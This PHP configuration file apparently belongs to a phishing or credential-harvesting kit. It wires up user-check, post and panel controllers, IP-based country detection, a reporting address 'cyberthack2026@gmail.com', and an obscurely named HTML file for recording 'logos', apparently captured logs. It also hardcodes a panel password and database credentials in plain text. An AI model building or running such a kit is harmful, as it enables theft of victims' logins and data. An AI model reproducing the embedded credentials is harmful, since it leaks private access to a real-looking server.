<?php
/*
function obtenerCountryCode($ip) {
    $url = "http://ip-api.com/json/" . $ip;

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5); // evitar cuelgues

    $respuesta = curl_exec($ch);
    curl_close($ch);

    if ($respuesta === false) {
        return null; // Error en la llamada
    }

    $data = json_decode($respuesta, true);

    if (isset($data["status"]) && $data["status"] === "success") {
        return $data["countryCode"];  // Devuelve "PE", "AR", "CL", etc.
    }

    return null; // Si la API devolvió error
}
*/

// INCLUYENDO HERRAMIENTAS
include  'library/tools.php';
//LIBERIA BROWSER
include  'library/browser.php';
//GEOIP LOCATION
require 'app/geoip/geoip2.phar';
use GeoIp2\Database\Reader;
//APLICANDO PAIS DE USUARIO
$reader = new Reader('app/geoip/dbip.mmdb');

//LIBRERIUA CUR
include 'library/dbase.php';
//LIBERIA CURL
include 'library/mycurl.php';
// CONFIGURACION DE RUTAS URL
include 'controller/checkuser.php';
include 'controller/vistas.php';
include 'controller/post.php';
include 'controller/panel.php';

//CORREO ELECTRONICO
define("correo", "cyberthack2026@gmail.com");
//NOMBRE DE ARCHIVO PARA GRABAR LOGOS 
define("filename", "03945921340.html");
//VARIABLES CONSTANTES
define("clavepanel", "123");
define("pass_panel", "Zair051287");

//BASE DE DATOS
define("dbHost", "localhost");
define("dbUsername", "webifybd12918_wp838");
define("dbPass", "C9QO68S-.p");
define("dbname", "webifybd12918_wp838");

//IP COUNTRY
$cip = new Tools();
define("country", $reader->country($cip->getip())->country->isoCode);
//define("country", obtenerCountryCode($cip->getip()));
//echo country;


